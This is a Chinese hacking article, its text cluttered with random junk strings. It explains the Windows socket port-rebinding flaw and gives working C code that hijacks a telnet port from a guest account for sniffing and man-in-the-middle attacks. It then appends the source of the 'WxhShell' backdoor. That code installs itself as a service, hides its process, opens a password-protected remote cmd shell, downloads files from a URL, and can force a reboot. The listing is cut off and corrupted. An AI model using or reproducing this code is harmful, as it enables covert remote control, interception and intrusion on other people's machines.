在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
j
uA@"SG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<RY =y?%z &-3e3) saddr.sin_family = AF_INET;
K(EJ`2]:r h2ROQKL"B saddr.sin_addr.s_addr = htonl(INADDR_ANY);
b=,BLe\ C/e.BXA bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
gV2vwe J~m$7T3Af 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
b/M/)o!C /4G1,T_, 这意味着什么?意味着可以进行如下的攻击:
BJj'91B[d H9mN nZ_k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i]v3CY|3AI ye^x>a[' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[';o -c"! srVWN:uuH 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
sbW+vc !8H0.u
rw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1dQAo1 r&{8/ 5" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Q@ VA@N=w WH:dcU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
* Gg7(cnpw JQV%W+-@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\ 'm7un iWs6 !s! #include
;6G]~}>o #include
O[ma% E*0 #include
v$y\X3)mB #include
kE&R;T`Gb% DWORD WINAPI ClientThread(LPVOID lpParam);
ZISIW! int main()
uY]';OtG {
.g#}2:3 WORD wVersionRequested;
4uXGpsL DWORD ret;
K4Q{U@ZJ WSADATA wsaData;
>w3C
Ku< BOOL val;
%xkuW]xk SOCKADDR_IN saddr;
C- YYG SOCKADDR_IN scaddr;
!j6k]BgZ int err;
~7:q+\ SOCKET s;
`<YMkp[ SOCKET sc;
QVT0.GzR int caddsize;
G\sx'#Whc HANDLE mt;
w
<r*& DWORD tid;
uw+nll*W% wVersionRequested = MAKEWORD( 2, 2 );
>z<L 60S err = WSAStartup( wVersionRequested, &wsaData );
q,P.)\0A if ( err != 0 ) {
G_F_TNO printf("error!WSAStartup failed!\n");
*~PB return -1;
LIDi0jbrq }
A;co1,]gR saddr.sin_family = AF_INET;
-H60T,o
vMzL+D2) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
PaTOlHr Ne
u$SP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-'&l!23a~ saddr.sin_port = htons(23);
XJ7B?Zg if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f#s 6 'g
{
)z7CT|h7S printf("error!socket failed!\n");
`wi+/^); return -1;
1uo-?k }
VzT*^PFBg val = TRUE;
(Y~/9a4X //SO_REUSEADDR选项就是可以实现端口重绑定的
59.$;Ip;g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]3v)3Wp {
u>'0Xo9R printf("error!setsockopt failed!\n");
LQF;T7VKS) return -1;
02]HwsvZ }
<aPZE6z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
aj?ZVa6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]9QXQH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;6V~yB C6>_wl] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G? SPz {
>)4~,-;k ret=GetLastError();
(#dR\Di printf("error!bind failed!\n");
.U{}N%S return -1;
k)+{Y v* }
94!}
Z> listen(s,2);
/[/L%;a'p while(1)
#'/rFT4{v {
=ls+vH40& caddsize = sizeof(scaddr);
JrBPx/?(,; //接受连接请求
Yup#aeXY/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tar/n o if(sc!=INVALID_SOCKET)
R&!;(k0 {
Wps^wY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
DcxT6[ if(mt==NULL)
O]IAIM {
N1Y
uLG: printf("Thread Creat Failed!\n");
@.L#u#
break;
^C
K!=oO }
|21VOPBS }
$}4ao2 CloseHandle(mt);
D?BegF }
rw)!>j+&A closesocket(s);
Eq_@xT0> WSACleanup();
2 4od74\ return 0;
Af\@J6viF7 }
EuHQp7 DWORD WINAPI ClientThread(LPVOID lpParam)
);HhV,$n {
3=wcA/"! SOCKET ss = (SOCKET)lpParam;
[Vbdsu9 SOCKET sc;
@Ov}X]ELi unsigned char buf[4096];
7b~uU@L` SOCKADDR_IN saddr;
m2m
;|rr long num;
,tXI*R DWORD val;
-medD G DWORD ret;
$\m:}\%p //如果是隐藏端口应用的话,可以在此处加一些判断
c{kpgN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
X!V#:2JY saddr.sin_family = AF_INET;
GYtgw9 "Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)-I/ej^ saddr.sin_port = htons(23);
]R~hzo if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{JdXn {
gR/?MJ(v printf("error!socket failed!\n");
2 6}3 return -1;
q"269W: }
~;b}_?%o val = 100;
9<&*iIrM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kh}h(z^ {
fbM>jK ret = GetLastError();
ShQ! '[J return -1;
+6: }
oHfr
glGX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_rSwQ<38> {
WXo bh ret = GetLastError();
5ms]Wbh) return -1;
44 8%yP }
\hBzQ%0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y.(< {
gDJ} <^ printf("error!socket connect failed!\n");
InL_JobE8r closesocket(sc);
%4R1rUrgt| closesocket(ss);
id,' + < return -1;
C`ZU.|R }
OGW3Pe0Z' while(1)
aQHR=.S]X {
;eo}/-a_Xw //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^$`mS&3/q //如果是嗅探内容的话,可以再此处进行内容分析和记录
;[4=?GL* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Fsl="RB7f num = recv(ss,buf,4096,0);
O=LW[h! if(num>0)
Mp
js send(sc,buf,num,0);
'JgCl'k, else if(num==0)
4YY!oDN: break;
CY':'aWfa< num = recv(sc,buf,4096,0);
s3sD7 @ if(num>0)
b*tb$F send(ss,buf,num,0);
Js:U1q else if(num==0)
;I@\}!%H break;
/)RH-_63 }
|oOAy closesocket(ss);
3
[#Rm>,Vu closesocket(sc);
P(-
return 0 ;
/j3",N+I }
ZJ+ad,?, J(8?6&=ck 2xUgM}e ==========================================================
"3 ++S GwA\>qXw 下边附上一个代码,,WXhSHELL
CL`+\
. cBbumf 9C ==========================================================
r#oJch= iDcYyNE #include "stdafx.h"
"J*>g(H53 Af@\g-<W_ #include <stdio.h>
@+nCNXK #include <string.h>
]H{*Z3S #include <windows.h>
O46v #include <winsock2.h>
0s Jp,4Vv #include <winsvc.h>
_KtV`bF #include <urlmon.h>
YvuE:ia V60"j( #pragma comment (lib, "Ws2_32.lib")
[zq2h3r #pragma comment (lib, "urlmon.lib")
a;Pn.@NVq '.N}oL<gP #define MAX_USER 100 // 最大客户端连接数
qnQ". #define BUF_SOCK 200 // sock buffer
__+8wC #define KEY_BUFF 255 // 输入 buffer
.nNZdta&= $y.0h( #define REBOOT 0 // 重启
#Muh|P]%\ #define SHUTDOWN 1 // 关机
3(t3r::& pUqNB_ #define DEF_PORT 5000 // 监听端口
g'w"U9tjO "1XTgCu\ #define REG_LEN 16 // 注册表键长度
)/[L)-~y~ #define SVC_LEN 80 // NT服务名长度
XM"Qs.E G=gU|& ( // 从dll定义API
}/\`'LQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\ntUxPox. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[n&ES\o#( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2wPc
yD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\M|:EG% G; exH$y // wxhshell配置信息
*"Iz)Xzc` struct WSCFG {
D
vU1+y int ws_port; // 监听端口
hbr3.<o1lY char ws_passstr[REG_LEN]; // 口令
y<m[9FC} int ws_autoins; // 安装标记, 1=yes 0=no
]t&^o** char ws_regname[REG_LEN]; // 注册表键名
\Wg_ gA char ws_svcname[REG_LEN]; // 服务名
qQ3pe:n? char ws_svcdisp[SVC_LEN]; // 服务显示名
2"shB(:z> char ws_svcdesc[SVC_LEN]; // 服务描述信息
QBi]gT@&g char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q}l~n)= int ws_downexe; // 下载执行标记, 1=yes 0=no
lup2>"?* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5}_=q;sZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
tux0}|[^' T%FW|jKw };
Z]tQmV8e 79}jK"Gc // default Wxhshell configuration
MwQ4&z#wh struct WSCFG wscfg={DEF_PORT,
O^6anUV0 "xuhuanlingzhe",
D@.qdRc3 1,
@^ti*` "Wxhshell",
f52P1V] "Wxhshell",
fI<d&5&g "WxhShell Service",
NOkgG0Z "Wrsky Windows CmdShell Service",
XjP;O,x "Please Input Your Password: ",
imzPVGCD{ 1,
u)r:0;5 "
http://www.wrsky.com/wxhshell.exe",
SsZSR.tD "Wxhshell.exe"
z$~F9Es9 };
I
S'Uuuz7g Olh{<~Fv // 消息定义模块
'|yCDBu char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@- xvdntx char *msg_ws_prompt="\n\r? for help\n\r#>";
AOKC1iD%Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
FIVC~LDd char *msg_ws_ext="\n\rExit.";
k.c.7%|~; char *msg_ws_end="\n\rQuit.";
RP+)sCh char *msg_ws_boot="\n\rReboot...";
Q (q&(/ char *msg_ws_poff="\n\rShutdown...";
X's<+hK& char *msg_ws_down="\n\rSave to ";
#pK"
^O*! S-Bx`e9 ' char *msg_ws_err="\n\rErr!";
i'>5vU0?3 char *msg_ws_ok="\n\rOK!";
)cP)HbOd= [eOv fD char ExeFile[MAX_PATH];
v4'kV:;& int nUser = 0;
dkDPze9l HANDLE handles[MAX_USER];
wsH _pF int OsIsNt;
q~W:W}z bX:h"6{=R SERVICE_STATUS serviceStatus;
q3h&V SERVICE_STATUS_HANDLE hServiceStatusHandle;
dT?3Q;>B? T,>L // 函数声明
nfGI4ZE int Install(void);
kQ lwl9 int Uninstall(void);
N]|>\ int DownloadFile(char *sURL, SOCKET wsh);
cL03V? }
~ int Boot(int flag);
rMZuiRz* void HideProc(void);
B@6L<oZ int GetOsVer(void);
g*LD}`X/- int Wxhshell(SOCKET wsl);
-TG ="U void TalkWithClient(void *cs);
b8YdONdy int CmdShell(SOCKET sock);
Kdp($L9r int StartFromService(void);
G-RDQ int StartWxhshell(LPSTR lpCmdLine);
:lvBcFw J>nBTY,_< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
b.\xPb VOID WINAPI NTServiceHandler( DWORD fdwControl );
).(y#zJ7P ]cmX f // 数据结构和表定义
uZJfIC<> SERVICE_TABLE_ENTRY DispatchTable[] =
g|$;jQ\_ {
\M._x" {wscfg.ws_svcname, NTServiceMain},
ybJ wFZ80 {NULL, NULL}
NT5'U };
j4#uj[A PR$;*|@ // 自我安装
^i!6z2/ int Install(void)
v0E6i!D/ {
|K-` char svExeFile[MAX_PATH];
|vGHh zZ| HKEY key;
Pgy[\t 2K strcpy(svExeFile,ExeFile);
6W=V8 E0&d*BI2 // 如果是win9x系统,修改注册表设为自启动
fbbbTZy if(!OsIsNt) {
Dat',5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+0UBP7kn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9:VUtx#}2 RegCloseKey(key);
Bi :!"Nw[X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|}UkVLc_^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\( #"g RegCloseKey(key);
>-<iY4|[d return 0;
^V96lKt/ }
hEsiAbTyF }
C}Kl! }
+FqE fY4j else {
F N=WU<
5 $GGaR x // 如果是NT以上系统,安装为系统服务
y*-_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
fPPP| if (schSCManager!=0)
SZHgXl3: {
pWJEFm SC_HANDLE schService = CreateService
(?zD!%
k (
<"P-7/j3j schSCManager,
hdrsa}{g wscfg.ws_svcname,
\y=oZk4 wscfg.ws_svcdisp,
q^EY?;Y SERVICE_ALL_ACCESS,
X<[ qX* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|3@DCbT SERVICE_AUTO_START,
9_O4yTL SERVICE_ERROR_NORMAL,
23>[-XZb[O svExeFile,
lNa+NtQu NULL,
1nskf*Z NULL,
%>i:C-l8 NULL,
PMB4]p%o NULL,
` K{k0_{ NULL
';/J-l/SE );
0Q_*Z ( if (schService!=0)
LjG^c>[:m {
eJHh } CloseServiceHandle(schService);
g]2L[4 CloseServiceHandle(schSCManager);
l$/lbwi% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wL
4Y%g strcat(svExeFile,wscfg.ws_svcname);
'= fk;AiQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%60 OS3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0C/ZcfFU~ RegCloseKey(key);
=huV(THU return 0;
.)!QsBU }
*$NZi*z3 }
xV5UaD< CloseServiceHandle(schSCManager);
P%(9 `A }
IyyBW2 }
p,$N-22a {.{Wl,|7 return 1;
|9c~kTjK }
#H>{>0q bP9ly9FH // 自我卸载
@3O)#r}\ int Uninstall(void)
`!HD.
E[2c {
"Nj/{BU HKEY key;
4r1\&sI$~ &o;0%QgF if(!OsIsNt) {
x
I.W-js[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
71c[`h*0{ RegDeleteValue(key,wscfg.ws_regname);
\{lv~I RegCloseKey(key);
Zg(Y$ h\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vCaN [ RegDeleteValue(key,wscfg.ws_regname);
UGhEaKH~R RegCloseKey(key);
[c
8=b,EI return 0;
H,X|-B }
0Lxz?R x]< }
8v& \F }
rXX>I;`& else {
D'#Q`H 1I9v`eT4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<GNLDpj if (schSCManager!=0)
S v>6:y9?G {
k5.5$<< T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"lL+Heq>V if (schService!=0)
-y+>^45 {
: OY~Q3
@ if(DeleteService(schService)!=0) {
'cXdc CloseServiceHandle(schService);
UUJQc~= CloseServiceHandle(schSCManager);
ilL0=[2 return 0;
"S%t\ }
EX`P(=zD CloseServiceHandle(schService);
EbQLMLD% }
'3( ^Zv CloseServiceHandle(schSCManager);
G-Tmk7m }
|HAJDhM,l }
G:1'}RC : mUh]`/MK$ return 1;
Mn.,?IF`K }
(hzN(Dh ump~)?_B // 从指定url下载文件
KT(Z
#$ int DownloadFile(char *sURL, SOCKET wsh)
@yaFN>w {
JF.Lo; HRESULT hr;
c0@8KW[, char seps[]= "/";
yJm"vN char *token;
c[dzO.~ char *file;
]yU"J:/ char myURL[MAX_PATH];
HB/V4ki char myFILE[MAX_PATH];
WVbrbs4 jV3PTU strcpy(myURL,sURL);
=^nb+}Nz( token=strtok(myURL,seps);
_95296 while(token!=NULL)
DYD<?._I
{
.w9LJ file=token;
BPba3G9H token=strtok(NULL,seps);
Cl}nPUoL }
Nz,yd%ua R2~Tr$: GetCurrentDirectory(MAX_PATH,myFILE);
+T+@g8S strcat(myFILE, "\\");
h4?x_"V" strcat(myFILE, file);
FRBu8WW0L send(wsh,myFILE,strlen(myFILE),0);
n{;j send(wsh,"...",3,0);
)u)=@@k21 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&7aWVKon if(hr==S_OK)
e`D}[G# return 0;
L[G O6l else
6Xlzdt return 1;
nVb@sI{{k 9)q3cjP{< }
Wy}I"q[~So RdTM5ANT // 系统电源模块
i--t
?@# int Boot(int flag)
x *eU~e_jP {
{m.$EoS HANDLE hToken;
<>cS@V5j TOKEN_PRIVILEGES tkp;
}rTH<!j du3f'=q6| if(OsIsNt) {
_IYaMo.n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%BqaVOKJ"f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
uepyH tkp.PrivilegeCount = 1;
qLN^9PdEE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A =Wg0eYy\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
dj0; tQ=C if(flag==REBOOT) {
eU?hin@X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Aw o)a8e return 0;
(yOkf-e2y }
K7+yU3 else {
WSkGVQu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=l,P'E return 0;
AlSO }
6OES'3 Cy }
'|C3t!H` else {
ly[LF1t if(flag==REBOOT) {
>:;dNVz if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*z=_sD?1 return 0;
p\6cpf }
-Mt
5< s else {
hvd}l8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{f!/:bM return 0;
?9b9{c'an }
+]db- }
}I"C4'(a I5$P9UE+^9 return 1;
_]Hna <Ly }
g*|j+<:7 %\As // win9x进程隐藏模块
\{,TpK. void HideProc(void)
W.7rHa {
{|+Y;V` (L_-!=e HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
h~MV=7
lE if ( hKernel != NULL )
Y Y:BwW: {
Zo9<96I& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
CT|+? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Kz4S6N c FreeLibrary(hKernel);
)s2] -n}W }
0&.CAHb} AKNx~!%2 return;
v\0 G`&^1 }
Q=\
Oa(I 6K $mW // 获取操作系统版本
\u3\ TJ int GetOsVer(void)
Pf?kNJ*Tv) {
*dzZOe>, OSVERSIONINFO winfo;
E*_^+ % winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
mYBEjZB GetVersionEx(&winfo);
/'O8RUjN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^
k^y|\UtZ return 1;
97}]@xN= else
) "#' return 0;
[\uR3$j# }
g|=_@
pL WA{igj@\ // 客户端句柄模块
B*7kX&Uq int Wxhshell(SOCKET wsl)
cw;wv+|k {
ZO}Og&% SOCKET wsh;
#m+!< struct sockaddr_in client;
l{3B}_, DWORD myID;
t<%0eu| *OVB;]D3+ while(nUser<MAX_USER)
6 Z/`p~e {
;`9f<d#\ int nSize=sizeof(client);
1C[9}} wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
y!e]bvN if(wsh==INVALID_SOCKET) return 1;
}fpya2Xt ejRK-! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ajbe7#} if(handles[nUser]==0)
i jI/z5 closesocket(wsh);
k1 5vs else
)fH
Q7 nUser++;
-!\3;/ }
\?:L>-&h8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h\m35'v! gjF5~
` return 0;
93-Y(Xx)bY }
~m%[d.
}e >&L|oq7$ // 关闭 socket
Iw1Y?Qia void CloseIt(SOCKET wsh)
x^eu[olN {
l }{{7~C` closesocket(wsh);
O9gq <d nUser--;
;rh.6D l ExitThread(0);
A 'qe2] }
VFT@Ic#] ?-??>& z // 客户端请求句柄
.@dC]$2= void TalkWithClient(void *cs)
61\u{@o$ {
f*ZU a Z1Qz
LvWs SOCKET wsh=(SOCKET)cs;
1CtUf7 `/Q char pwd[SVC_LEN];
^({)t char cmd[KEY_BUFF];
c,UJ uCZ char chr[1];
?0b-fL^^+l int i,j;
95 ;{ms[ [ X*p
[ while (nUser < MAX_USER) {
Re%[t9F& Gk;YAI if(wscfg.ws_passstr) {
)W@ug,y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H$6RDMU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wNONh`b //ZeroMemory(pwd,KEY_BUFF);
,'NasL8?We i=0;
.^YxhUH,G while(i<SVC_LEN) {
p_r` " $QX$r N // 设置超时
@xG&K{j fd_set FdRead;
Z\$HgG struct timeval TimeOut;
uL'f8Pqg FD_ZERO(&FdRead);
N_t,n^i9>* FD_SET(wsh,&FdRead);
+vc +9E.?9 TimeOut.tv_sec=8;
570Xk\R@M TimeOut.tv_usec=0;
jiI=tg; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
# @\3{;{R if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
wcHk]mLM FOaA}D `] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
gv!8' DKn pwd
=chr[0]; Z0|5VLk,<{
if(chr[0]==0xd || chr[0]==0xa) { pP\Cwo #,
pwd=0; !3Dq)ebBz
break; o7y<Zd`Bj
} J?4{#p
i++; $CcjuPsK
} %wD#[<BGn>
yCX5
5:
// 如果是非法用户,关闭 socket
l\U
Q2i
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 37bMe@W
} Iil2R}1
WR+j?Fcf
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !0
7jr%-~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^[ae
)}
{9IRW\kn
while(1) { W5jwD
, 3R=8
ZeroMemory(cmd,KEY_BUFF); Sn:>|y~
a[{qb
// 自动支持客户端 telnet标准 AR"2?2<mJ7
j=0; wG3L+[,
while(j<KEY_BUFF) { .=y=Fv6X
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 09Hrn
cmd[j]=chr[0]; D#jwI,n}x
if(chr[0]==0xa || chr[0]==0xd) { 9#E *o~1
cmd[j]=0; Khq\@`RaT
break; ci,(]T+!
} $`pf!b2Z
j++; UBo0c?,4
} S)CsH1Q
'2,~'Zk
// 下载文件 opX07~1
if(strstr(cmd,"http://")) { VO#rJ1J
send(wsh,msg_ws_down,strlen(msg_ws_down),0); AXw qN:P}
if(DownloadFile(cmd,wsh)) /E>;O47a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f5}afPk
else Gz`Jzh
j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X)g
X9DA
} cIug~ x>
else { --HDE c|
KdNo'*;U]_
switch(cmd[0]) { (}#&HE<
b,~'wm8:A
// 帮助 IRW0.'Dn
case '?': { b1xE;0uR
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y;af|?U*6:
break; KFM[caKeJO
} q4BXrEOw
// 安装 &+9 ;
case 'i': { \e
a*
if(Install()) s/1r{;q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 88Pt"[{1
else hV3]1E21"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _/[qBe
break; +|?a7qM
} &BVUK"}P
// 卸载 e\)%<G5
case 'r': { ui]iOp
if(Uninstall()) q NGR6i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6{g{
B
else ,#a4P`q'iC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? Fqh
i
break; /%YW[oY{V
} ]36SF5<0r
// 显示 wxhshell 所在路径 ?Ld),A/c
case 'p': { ~B<\#oO
char svExeFile[MAX_PATH]; a-5UG#o
strcpy(svExeFile,"\n\r"); at>_EiS
strcat(svExeFile,ExeFile); T*p7[}#
send(wsh,svExeFile,strlen(svExeFile),0); _ep&`K
break; [[T7s(3
} ueg%yvO
// 重启 \Y xG
case 'b': { l@Lk+-[D
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +m_.?V6
if(Boot(REBOOT)) V .Kjcy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4DIU7#GG
else { 'm0WPS/6E
closesocket(wsh); t/i*.>7
ExitThread(0); ?!ap@)9
} Ust +g4
break; :GvC#2p
} ;LS.
// 关机 -6MPls+
case 'd': { -=-^rQx9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sBlq)h;G?6
if(Boot(SHUTDOWN)) lh-.I]>&`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l4gH]!/@
else { q\tr&@4iC
closesocket(wsh); /OKp(u;)z
ExitThread(0); VnuG^)S
} %+r(*Q+0$f
break; \:'GAByy
} ;v8TT}R
// 获取shell Y]
1U108
case 's': { \Y,P
CmdShell(wsh); (U\o0LI
closesocket(wsh); i7RK*{
ExitThread(0); R0M>'V?e
break; e"@r[pq-{u
} pIIp61=$
// 退出 U& GPede
case 'x': { CW;zviH5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *gmc6xY
CloseIt(wsh); %<~Ewno T
break; %>&~?zrq
} uNewWtUb(
// 离开 QXI~Toddj
case 'q': { ZW M:Wj192
send(wsh,msg_ws_end,strlen(msg_ws_end),0); GS*O{u
closesocket(wsh); gvVy0nJI~
WSACleanup(); Gn7\4,C
exit(1); {F_>cyR
break; *b;)7lj0h
} 2?(/$F9X,
} $d1ow#ROgy
} xpZ@DK;
l>jrY1u
// 提示信息 C,;?`3bH@
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !,-'wT<v
} zGe =l;
} fq1w <e
6l|L/Z_6
return; ?23J(;)s
} )^UqB0C6^
dLQp"vs $
// shell模块句柄 +:m)BLA4l
int CmdShell(SOCKET sock) lf\"6VIsR
{ /XG7M=A$o
STARTUPINFO si; i~GW
ZeroMemory(&si,sizeof(si)); &tkPZ*}#1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s"7FmJ\7rw
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %B&O+~
PROCESS_INFORMATION ProcessInfo; `-nSH)GBM
char cmdline[]="cmd"; bSM|"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kW+>"3
return 0; =Q"thsR
} <S_0=U
[YQtX_;w
// 自身启动模式 7<kr|-
int StartFromService(void) w2$ L;q
{ 2C0j.Ib
typedef struct 2SC'Z>A
{ p;[.&oJ
DWORD ExitStatus; H/f}tw
DWORD PebBaseAddress; depCqz@
DWORD AffinityMask; 9[t-W:3c7
DWORD BasePriority; dyqk[$(
ULONG UniqueProcessId; ?n<sN"
